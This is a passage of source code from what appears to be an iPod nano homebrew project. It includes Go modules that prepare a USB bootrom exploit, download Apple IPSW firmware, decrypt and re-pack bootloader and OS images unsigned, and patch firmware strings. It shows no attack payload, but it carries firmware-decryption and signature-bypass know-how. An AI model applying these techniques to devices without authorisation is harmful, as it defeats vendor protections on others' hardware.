    "content": "github.com/adrg/xdg v0.4.0 h1:RzRqFcjH4nE5C6oTAxhBtoE2IRyjBSa62SCbyPidvls=\ngithub.com/adrg/xdg v0.4.0/go.mod h1:N6ag73EX4wyxeaoeHctc1mas01KZgsj5tYiAIwqJE/E=\ngithub.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=\ngithub.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=\ngithub.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/google/gousb v1.1.1 h1:2sjwXlc0PIBgDnXtNxUrHcD/RRFOmAtRq4QgnFBE6xc=\ngithub.com/google/gousb v1.1.1/go.mod h1:b3uU8itc6dHElt063KJobuVtcKHWEfFOysOqBNzHhLY=\ngithub.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=\ngithub.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=\ngithub.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=\ngithub.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=\ngithub.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=\ngithub.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=\ngithub.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI=\ngithub.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/q3k/go-plist v0.0.0-20230225213725-6b5035fad602 h1:8iSS1t8iFP3T18RV4LQPVsnWzVjvOEbzk2OHCCstIZE=\ngithub.com/q3k/go-plist v0.0.0-20230225213725-6b5035fad602/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g=\ngithub.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=\ngithub.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=\ngithub.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=\ngithub.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=\ngithub.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=\ngithub.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=\ngithub.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=\ngithub.com/tetratelabs/wazero v1.0.0-pre.1 h1:bUZ4vf21c36RmgA3enNOlLgPElEVDYoRJJ9+McRGF6Q=\ngithub.com/tetratelabs/wazero v1.0.0-pre.1/go.mod h1:M8UDNECGm/HVjOfq0EOe4QfCY9Les1eq54IChMLETbc=\ngithub.com/ulikunitz/xz v0.5.12 h1:37Nm15o69RwBkXM0J6A5OlE67RZTfzUxTj8fB3dfcsc=\ngithub.com/ulikunitz/xz v0.5.12/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=\ngolang.org/x/exp v0.0.0-20250305212735-054e65f0b394 h1:nDVHiLt8aIbd/VzvPWN6kSOPE7+F/fNFDSXLVYkE/Iw=\ngolang.org/x/exp v0.0.0-20250305212735-054e65f0b394/go.mod h1:sIifuuw/Yco/y6yb6+bDNfyeQ/MdPUy/hKEMYQV17cM=\ngolang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220412211240-33da011f77ad h1:ntjMns5wyP/fN65tdBD4g8J5w8n015+iIIs9rtjXkY0=\ngolang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/yaml.v1 v1.0.0-20140924161607-9f9df34309c0/go.mod h1:WDnlLJ4WF5VGsH/HVa3CI79GS0ol3YnhVnKP89i0kNg=\ngopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\n"
  },
  {
    "path": "pkg/app/app.go",
    "content": "package app\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit\"\n)\n\ntype App struct {\n\tUsb           devices.Usb\n\tInterfaceKind devices.InterfaceKind\n\tDesc          *devices.Description\n\tEp            exploit.Parameters\n\n\tMSEndpoints devices.UsbMsEndpoints\n}\n\nfunc (a *App) Close() error {\n\tif err := a.Usb.Close(); err != nil {\n\t\treturn fmt.Errorf(\"when closing usb: %w\", err)\n\t}\n\treturn nil\n}\n\n// PrepareUSB sets up the correct interface based on the selected interface kind\n// and runs any exploit preparation code (for eg. s5late compat).\nfunc (a *App) PrepareUSB() error {\n\tswitch a.InterfaceKind {\n\tcase devices.DFU, devices.WTF:\n\t\tif err := a.Usb.UseDefaultInterface(); err != nil {\n\t\t\treturn fmt.Errorf(\"UseDefaultInterface: %w\", err)\n\t\t}\n\tcase devices.Disk:\n\t\tep, err := a.Usb.UseDiskInterface()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"UseDiskInterface: %w\", err)\n\t\t}\n\t\ta.MSEndpoints = ep\n\t}\n\n\tif a.InterfaceKind == devices.DFU {\n\t\tif err := a.Ep.Prepare(a.Usb); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to prepare exploit: %w\", err)\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/cache/cache.go",
    "content": "package cache\n\nimport (\n\t\"archive/zip\"\n\t\"bytes\"\n\t\"crypto/sha256\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/adrg/xdg\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"github.com/freemyipod/wInd3x/pkg/cfw\"\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit/decrypt\"\n\t\"github.com/freemyipod/wInd3x/pkg/image\"\n\t\"github.com/freemyipod/wInd3x/pkg/mse\"\n)\n\ntype FS interface {\n\tReadFile(path string) ([]byte, error)\n\tWriteFile(path string, data []byte) error\n\tRemove(path string) error\n\tExists(path string) (bool, error)\n}\n\ntype hostPathStore struct {\n\troot string\n}\n\nvar Store FS = &hostPathStore{path.Join(xdg.DataHome, \"wInd3x\")}\n\nfunc (h *hostPathStore) ReadFile(p string) ([]byte, error) {\n\treturn os.ReadFile(path.Join(h.root, p))\n}\n\nfunc (h *hostPathStore) WriteFile(p string, data []byte) error {\n\tp = path.Join(h.root, p)\n\tparent := filepath.Dir(p)\n\tos.MkdirAll(parent, 0755)\n\n\treturn os.WriteFile(p, data, 0644)\n}\n\nfunc (h *hostPathStore) Remove(p string) error {\n\treturn os.Remove(path.Join(h.root, p))\n}\n\nfunc (h *hostPathStore) Exists(p string) (bool, error) {\n\t_, err := os.Stat(path.Join(h.root, p))\n\tif err == nil {\n\t\treturn true, nil\n\t}\n\tif os.IsNotExist(err) {\n\t\treturn false, nil\n\t}\n\treturn false, err\n}\n\nvar ReverseProxy *url.URL\n\ntype PayloadKind string\n\nconst (\n\tPayloadKindWTFUpstream       PayloadKind = \"wtf-upstream\"\n\tPayloadKindWTFDecrypted      PayloadKind = \"wtf-decrypted\"\n\tPayloadKindWTFDecryptedCache PayloadKind = \"wtf-decrypted-cache\"\n\tPayloadKindWTFDefanged       PayloadKind = \"wtf-defanged\"\n\n\tPayloadKindRecoveryUpstream PayloadKind = \"recovery-upstream\"\n\n\tPayloadKindFirmwareUpstream PayloadKind = \"firmware-upstream\"\n\n\tPayloadKindBootloaderUpstream       PayloadKind = \"bootloader-upstream\"\n\tPayloadKindBootloaderDecrypted      PayloadKind = \"bootloader-decrypted\"\n\tPayloadKindBootloaderDecryptedCache PayloadKind = \"bootloader-decrypted-cache\"\n\n\tPayloadKindRetailOSUpstream       PayloadKind = \"retailos-upstream\"\n\tPayloadKindRetailOSDecrypted      PayloadKind = \"retailos-decrypted\"\n\tPayloadKindRetailOSCustomized     PayloadKind = \"retailos-customized\"\n\tPayloadKindRetailOSDecryptedCache PayloadKind = \"retailos-decrypted-cache\"\n\n\tPayloadKindDiagsUpstream       PayloadKind = \"diags-upstream\"\n\tPayloadKindDiagsDecrypted      PayloadKind = \"diags-decrypted\"\n\tPayloadKindDiagsDecryptedCache PayloadKind = \"diags-decrypted-cache\"\n\n\tPayloadKindJingleXML PayloadKind = \"jinglexml\"\n)\n\ntype GetOption struct {\n\tProgress func(float32)\n}\n\ntype downloadMonitor struct {\n\tdone         uint\n\ttotal        uint\n\tprevCallback float32\n\tcallback     func(float32)\n}\n\nfunc (d *downloadMonitor) Write(data []byte) (int, error) {\n\td.done += uint(len(data))\n\tpercent := float32(d.done) / float32(d.total)\n\tif percent != d.prevCallback && d.callback != nil {\n\t\td.callback(percent)\n\t\td.prevCallback = percent\n\t}\n\treturn len(data), nil\n}\n\nfunc getPayloadFromPhobosIPSW(pk PayloadKind, dk devices.Kind, urlStr string, options ...GetOption) error {\n\tvar progress func(float32) = nil\n\tfor _, option := range options {\n\t\tif option.Progress != nil {\n\t\t\tprogress = option.Progress\n\t\t}\n\t}\n\tslog.Info(\"Downloading IPSW...\", \"kind\", pk, \"url\", urlStr)\n\n\tu, err := url.Parse(urlStr)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not parse URL %q: %w\", urlStr, err)\n\t}\n\tif ReverseProxy != nil {\n\t\tu.Host = ReverseProxy.Host\n\t\tu.Scheme = ReverseProxy.Scheme\n\t}\n\n\tresp, err := http.Get(u.String())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not download IPSW: %w\", err)\n\t}\n\n\tdlMonitor := &downloadMonitor{\n\t\ttotal:    uint(resp.ContentLength),\n\t\tcallback: progress,\n\t}\n\tbody, err := io.ReadAll(io.TeeReader(resp.Body, dlMonitor))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not download IPSW: %w\", err)\n\t}\n\tz, err := zip.NewReader(bytes.NewReader(body), int64(len(body)))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not parse IPSW: %w\", err)\n\t}\n\n\tvar want *regexp.Regexp\n\tswitch pk {\n\tcase PayloadKindWTFUpstream:\n\t\twant = regexp.MustCompile(`^firmware/dfu/wtf.*release\\.dfu$`)\n\tcase PayloadKindRecoveryUpstream:\n\t\twant = regexp.MustCompile(`^firmware/dfu/firmware.*release\\.dfu$`)\n\tcase PayloadKindFirmwareUpstream, PayloadKindRetailOSUpstream, PayloadKindDiagsUpstream:\n\t\twant = regexp.MustCompile(`^firmware.*$`)\n\tcase PayloadKindBootloaderUpstream:\n\t\twant = regexp.MustCompile(`^n.*\\.bootloader.*\\.rb3$`)\n\tdefault:\n\t\treturn fmt.Errorf(\"don't know file path for %s\", pk)\n\t}\n\tvar fname string\n\tfor _, f := range z.File {\n\t\tif want.MatchString(strings.ToLower(f.Name)) {\n\t\t\tfname = f.Name\n\t\t}\n\t}\n\tif fname == \"\" {\n\t\treturn fmt.Errorf(\"expected file not found in IPSW\")\n\t}\n\tf, err := z.Open(fname)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not open %q in IPSW: %w\", fname, err)\n\t}\n\tdata, err := ioutil.ReadAll(f)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not read %q from IPSW: %w\", fname, err)\n\t}\n\n\tswitch pk {\n\tcase PayloadKindRetailOSUpstream, PayloadKindDiagsUpstream:\n\t\tm, err := mse.Parse(bytes.NewReader(data))\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not parse firmware: %w\", err)\n\t\t}\n\t\tfname := \"\"\n\t\tswitch pk {\n\t\tcase PayloadKindRetailOSUpstream:\n\t\t\tfname = \"osos\"\n\t\tcase PayloadKindDiagsUpstream:\n\t\t\tfname = \"diag\"\n\t\t}\n\t\tmf := m.FileByName(fname)\n\t\tif mf == nil {\n\t\t\treturn fmt.Errorf(\"no %q in firmware\", fname)\n\t\t}\n\t\tdata = mf.Data\n\t}\n\n\tfspath := pathFor(&dk, pk, urlStr)\n\tif err := Store.WriteFile(fspath, data); err != nil {\n\t\treturn fmt.Errorf(\"could not write: %w\", err)\n\t}\n\treturn nil\n}\n\nfunc getBootloaderDecrypted(app *app.App, options ...GetOption) error {\n\tvar progress func(float32) = nil\n\tfor _, option := range options {\n\t\tif option.Progress != nil {\n\t\t\tprogress = option.Progress\n\t\t}\n\t}\n\n\tencrypted, err := Get(app, PayloadKindBootloaderUpstream)\n\tif err != nil {\n\t\treturn err\n\t}\n\timg1, err := image.Read(bytes.NewReader(encrypted))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not parse WTF IMG1: %w\", err)\n\t}\n\n\trecovery := pathFor(&app.Desc.Kind, PayloadKindBootloaderDecryptedCache, \"\")\n\n\tvar decryptOptions []decrypt.Option\n\tif progress != nil {\n\t\tdecryptOptions = append(decryptOptions, decrypt.Option{Progress: progress})\n\t}\n\tdecrypted, err := decrypt.Decrypt(app, img1.Body, recovery, decryptOptions...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not decrypt bootloader: %w\", err)\n\t}\n\n\twrapper, err := image.MakeUnsigned(app.Desc.Kind, img1.Header.Entrypoint, decrypted)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not re-pack decrypted bootloader: %w\", err)\n\t}\n\n\tfspath := pathFor(&app.Desc.Kind, PayloadKindBootloaderDecrypted, \"\")\n\tif err := Store.WriteFile(fspath, wrapper); err != nil {\n\t\treturn fmt.Errorf(\"could not write bootloader: %w\", err)\n\t}\n\tStore.Remove(recovery)\n\treturn nil\n}\n\nfunc getWTFDecrypted(app *app.App, options ...GetOption) error {\n\tvar progress func(float32) = nil\n\tfor _, option := range options {\n\t\tif option.Progress != nil {\n\t\t\tprogress = option.Progress\n\t\t}\n\t}\n\n\tencrypted, err := Get(app, PayloadKindWTFUpstream)\n\tif err != nil {\n\t\treturn err\n\t}\n\timg1, err := image.Read(bytes.NewReader(encrypted))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not parse WTF IMG1: %w\", err)\n\t}\n\n\trecovery := pathFor(&app.Desc.Kind, PayloadKindWTFDecryptedCache, \"\")\n\n\tvar decryptOptions []decrypt.Option\n\tif progress != nil {\n\t\tdecryptOptions = append(decryptOptions, decrypt.Option{Progress: progress})\n\t}\n\tdecrypted, err := decrypt.Decrypt(app, img1.Body, recovery, decryptOptions...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not decrypt WTF: %w\", err)\n\t}\n\n\twrapper, err := image.MakeUnsigned(app.Desc.Kind, img1.Header.Entrypoint, decrypted)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not re-pack decrypted WTF: %w\", err)\n\t}\n\n\tfspath := pathFor(&app.Desc.Kind, PayloadKindWTFDecrypted, \"\")\n\tif err := Store.WriteFile(fspath, wrapper); err != nil {\n\t\treturn fmt.Errorf(\"could not write WTF: %w\", err)\n\t}\n\tStore.Remove(recovery)\n\treturn nil\n}\n\nfunc getRetailOSDecrypted(app *app.App, options ...GetOption) error {\n\tvar progress func(float32) = nil\n\tfor _, option := range options {\n\t\tif option.Progress != nil {\n\t\t\tprogress = option.Progress\n\t\t}\n\t}\n\n\tencrypted, err := Get(app, PayloadKindRetailOSUpstream)\n\tif err != nil {\n\t\treturn err\n\t}\n\timg1, err := image.Read(bytes.NewReader(encrypted))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not parse RetailOS IMG1: %w\", err)\n\t}\n\n\trecovery := pathFor(&app.Desc.Kind, PayloadKindRetailOSDecryptedCache, \"\")\n\n\tvar decryptOptions []decrypt.Option\n\tif progress != nil {\n\t\tdecryptOptions = append(decryptOptions, decrypt.Option{Progress: progress})\n\t}\n\tdecrypted, err := decrypt.Decrypt(app, img1.Body, recovery, decryptOptions...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not decrypt RetailOS: %w\", err)\n\t}\n\n\twrapper, err := image.MakeUnsigned(app.Desc.Kind, img1.Header.Entrypoint, decrypted)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not re-pack decrypted RetailOS: %w\", err)\n\t}\n\n\tfspath := pathFor(&app.Desc.Kind, PayloadKindRetailOSDecrypted, \"\")\n\tif err := Store.WriteFile(fspath, wrapper); err != nil {\n\t\treturn fmt.Errorf(\"could not write RetailOS: %w\", err)\n\t}\n\tStore.Remove(recovery)\n\treturn nil\n}\n\nfunc getDiagsDecrypted(app *app.App, options ...GetOption) error {\n\tvar progress func(float32) = nil\n\tfor _, option := range options {\n\t\tif option.Progress != nil {\n\t\t\tprogress = option.Progress\n\t\t}\n\t}\n\n\tencrypted, err := Get(app, PayloadKindDiagsUpstream)\n\tif err != nil {\n\t\treturn err\n\t}\n\timg1, err := image.Read(bytes.NewReader(encrypted))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not parse diag IMG1: %w\", err)\n\t}\n\n\trecovery := pathFor(&app.Desc.Kind, PayloadKindDiagsDecryptedCache, \"\")\n\n\tvar decryptOptions []decrypt.Option\n\tif progress != nil {\n\t\tdecryptOptions = append(decryptOptions, decrypt.Option{Progress: progress})\n\t}\n\tdecrypted, err := decrypt.Decrypt(app, img1.Body, recovery, decryptOptions...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not decrypt diag: %w\", err)\n\t}\n\n\twrapper, err := image.MakeUnsigned(app.Desc.Kind, img1.Header.Entrypoint, decrypted)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not re-pack decrypted diag: %w\", err)\n\t}\n\n\tfspath := pathFor(&app.Desc.Kind, PayloadKindDiagsDecrypted, \"\")\n\tif err := Store.WriteFile(fspath, wrapper); err != nil {\n\t\treturn fmt.Errorf(\"could not write diag: %w\", err)\n\t}\n\tStore.Remove(recovery)\n\treturn nil\n}\n\nfunc getWTFDefanged(app *app.App, options ...GetOption) error {\n\tdefanger, ok := cfw.WTFDefangers[app.Desc.Kind]\n\tif !ok {\n\t\treturn fmt.Errorf(\"don't know how to defang a %s\", app.Desc.Kind)\n\t}\n\n\tdecrypted, err := Get(app, PayloadKindWTFDecrypted)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefanged, err := defanger(decrypted)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"defanging failed: %w\", err)\n\t}\n\n\tfspath := pathFor(&app.Desc.Kind, PayloadKindWTFDefanged, \"\")\n\tif err := Store.WriteFile(fspath, defanged); err != nil {\n\t\treturn fmt.Errorf(\"could not write WTF: %w\", err)\n\t}\n\treturn nil\n}\n\nfunc getRetailOSCustomized(app *app.App, options ...GetOption) ([]byte, error) {\n\tdecrypted, err := Get(app, PayloadKindRetailOSDecrypted)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tneedle1 := []byte(\"Eject before disconnecting\\x00\")\n\tneedle2 := []byte(\"freemyipod\\x00\")\n\tpaddingLen := len(needle1) - len(needle2)\n\tneedle2 = append(needle2, bytes.Repeat([]byte{0}, paddingLen)...)\n\tcustomized := bytes.ReplaceAll(decrypted, needle1, needle2)\n\treturn customized, nil\n}\n\nfunc Get(app *app.App, payload PayloadKind, options ...GetOption) ([]byte, error) {\n\turl, err := urlForKind(payload, app.Desc.Kind)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfspath := pathFor(&app.Desc.Kind, payload, url)\n\tif exists, err := Store.Exists(fspath); err == nil && exists {\n\t\tslog.Info(\"Get: Using cached data\", \"kind\", app.Desc.Kind, \"payload\", payload, \"path\", fspath)\n\t\treturn Store.ReadFile(fspath)\n\t}\n\tslog.Info(\"Get: No cached data, performing slow action...\")\n\n\tswitch payload {\n\tcase PayloadKindWTFUpstream, PayloadKindRecoveryUpstream, PayloadKindFirmwareUpstream, PayloadKindBootloaderUpstream, PayloadKindRetailOSUpstream, PayloadKindDiagsUpstream:\n\t\terr = getPayloadFromPhobosIPSW(payload, app.Desc.Kind, url, options...)\n\tcase PayloadKindBootloaderDecrypted:\n\t\terr = getBootloaderDecrypted(app, options...)\n\tcase PayloadKindWTFDecrypted:\n\t\terr = getWTFDecrypted(app, options...)\n\tcase PayloadKindDiagsDecrypted:\n\t\terr = getDiagsDecrypted(app, options...)\n\tcase PayloadKindRetailOSDecrypted:\n\t\terr = getRetailOSDecrypted(app, options...)\n\tcase PayloadKindWTFDefanged:\n\t\terr = getWTFDefanged(app, options...)\n\tcase PayloadKindRetailOSCustomized:\n\t\t// Not cached.\n\t\treturn getRetailOSCustomized(app, options...)\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"don't know how to get a %s\", payload)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn Store.ReadFile(fspath)\n}\n\nfunc pathFor(dev *devices.Kind, payload PayloadKind, upstreamURL string) string {\n\tdevpart := \"any\"\n\tif dev != nil {\n\t\tdevpart = string(*dev)\n\t}\n\tmarker := \"\"\n\tif upstreamURL != \"\" {\n\t\ts := sha256.New()\n\t\tfmt.Fprintf(s, \"%s\", upstreamURL)\n\t\tmarker = \"-\" + hex.EncodeToString(s.Sum(nil))\n\t}\n\tparts := []string{\n\t\tfmt.Sprintf(\"%s-%s%s.bin\", devpart, payload, marker),\n\t}\n\treturn path.Join(parts...)\n}\n"
  },
  {
    "path": "pkg/cache/cache_test.go",
    "content": "package cache\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/mse\"\n)\n\nfunc TestRepackAll(t *testing.T) {\n\tfor _, kind := range []devices.Kind{\n\t\tdevices.Nano3,\n\t\t// Don't diff test N4G as padding in firmware file contains repeat data\n\t\t// from previous blocks - someone forgot a memset :).\n\t\t//devices.Nano4,\n\t\tdevices.Nano5,\n\t\tdevices.Nano6,\n\t\tdevices.Nano7,\n\t\tdevices.Nano7Late,\n\t} {\n\t\tt.Run(fmt.Sprintf(\"%s\", kind.String()), func(t *testing.T) {\n\t\t\ta := app.App{\n\t\t\t\tDesc: &devices.Description{\n\t\t\t\t\tKind: kind,\n\t\t\t\t},\n\t\t\t}\n\t\t\tfw, err := Get(&a, PayloadKindFirmwareUpstream)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"%s: could not get firmware: %v\", kind, err)\n\t\t\t}\n\n\t\t\tm, err := mse.Parse(bytes.NewReader(fw))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"%s: could not parse firmware: %v\", kind, err)\n\t\t\t}\n\t\t\tfor _, file := range m.Files {\n\t\t\t\tif !file.Header.Valid() {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfw2, err := m.Serialize()\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"%s: could not serialize firmware: %v\", kind, err)\n\t\t\t}\n\t\t\tos.WriteFile(fmt.Sprintf(\"/tmp/%s out.bin\", kind.String()), fw2, 0600)\n\n\t\t\tif !bytes.Equal(fw, fw2) {\n\t\t\t\tt.Fatalf(\"%s: diff in emitted file\", kind)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/cache/phobos.go",
    "content": "package cache\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"sort\"\n\n\t\"howett.net/plist\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n)\n\ntype jingle struct {\n\tMobileDeviceSoftware map[string]mobileDeviceSoftwareVersion `plist:\"MobileDeviceSoftwareVersionsByVersion\"`\n\tIPodSoftwareVersions map[string]iPodSoftwareVersion         `plist:\"iPodSoftwareVersions\"`\n}\n\ntype mobileDeviceSoftwareVersion struct {\n\tRecoverySoftware struct {\n\t\tWTF      map[string]recoverySoftware `plist:\"WTF\"`\n\t\tFirmware struct {\n\t\t\tDFU map[string]recoverySoftware `plist:\"DFU\"`\n\t\t} `plist:\"Firmware\"`\n\t} `plist:\"RecoverySoftwareVersions\"`\n}\n\ntype recoverySoftware struct {\n\tFirmwareURL string\n}\n\ntype iPodSoftwareVersion struct {\n\tUpdaterFamilyID int    `plist:\"UpdaterFamilyID\"`\n\tFirmwareURL     string `plist:\"FirmwareURL\"`\n}\n\nconst jingleURL = \"https://itunes.apple.com/WebObjects/MZStore.woa/wa/com.apple.jingle.appserver.client.MZITunesClientCheck/version\"\n\nvar (\n\textraFirmwareVersions = map[devices.Kind]map[string]string{\n\t\tdevices.Nano3: {\n\t\t\t\"1.0.1\": \"http://appldnld.apple.com/iPod/SBML/osx/bundles/061-3878.20070914.P0omB/iPod_26.1.0.1.ipsw\",\n\t\t\t\"1.0.2\": \"http://appldnld.apple.com/iPod/SBML/osx/bundles/061-3930.20071005.94rVg/iPod_26.1.0.2.ipsw\",\n\t\t\t\"1.0.3\": \"http://appldnld.apple.com/iPod/SBML/osx/bundles/061-3941.20071115.Hngr4/iPod_26.1.0.3.ipsw\",\n\t\t\t\"1.1\":   \"http://appldnld.apple.com/iPod/SBML/osx/bundles/061-4011.20080115.Gh5yt/iPod_26.1.1.ipsw\",\n\t\t\t\"1.1.2\": \"http://appldnld.apple.com/iPod/SBML/osx/bundles/061-4276.20080430.Gbjt5/iPod_26.1.1.2.ipsw\",\n\t\t\t\"1.1.3\": \"http://appldnld.apple.com/iPod/SBML/osx/bundles/061-5164.20080722.hnt3A/iPod_26.1.1.3.ipsw\",\n\t\t},\n\t\tdevices.Nano5: {\n\t\t\t\"1.0.1\": \"http://appldnld.apple.com/iPod/SBML/osx/bundles/061-7165.20090909.AzPKm/iPod_1.0.1_34A10006.ipsw\",\n\t\t},\n\t\tdevices.Nano6: {\n\t\t\t\"1.0\": \"http://appldnld.apple.com/iPod/SBML/osx/bundles/061-9054.20100907.VKPt5/iPod_1.0_36A00403.ipsw\",\n\t\t},\n\t}\n)\n\nfunc GetFirmwareVersions(dk devices.Kind) []string {\n\tvar res []string\n\tif extra, ok := extraFirmwareVersions[dk]; ok {\n\t\tfor k := range extra {\n\t\t\tres = append(res, k)\n\t\t}\n\t}\n\tsort.Strings(res)\n\tres = append(res, \"current\")\n\treturn res\n}\n\nvar FirmwareVersionOverrides map[devices.Kind]string\n\nfunc getJingle() (*jingle, error) {\n\tfspath := pathFor(nil, PayloadKindJingleXML, \"\")\n\tvar bytes []byte\n\texists, err := Store.Exists(fspath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif exists {\n\t\tslog.Info(\"Jingle: Using cached XML....\")\n\t\tbytes, _ = Store.ReadFile(fspath)\n\t}\n\tif bytes == nil {\n\t\tslog.Info(\"Jingle: Downloading XML...\")\n\t\tresp, err := http.Get(jingleURL)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not download iTunes XML: %w\", err)\n\t\t}\n\t\tbytes, err = io.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not download iTunes XML: %w\", err)\n\t\t}\n\n\t\tif err := Store.WriteFile(fspath, bytes); err != nil {\n\t\t\tslog.Error(\"Could not save iTunes XML cache\", \"err\", err)\n\t\t}\n\t}\n\tslog.Info(\"Jingle: Got XML!\")\n\n\tvar res jingle\n\tif _, err := plist.Unmarshal(bytes, &res); err != nil {\n\t\treturn nil, err\n\t}\n\tslog.Info(\"Jingle: Unmarshaled.\")\n\treturn &res, nil\n}\n\nfunc RecoveryFirmwareDFUURL(dev devices.Kind) (string, error) {\n\tj, err := getJingle()\n\tif err != nil 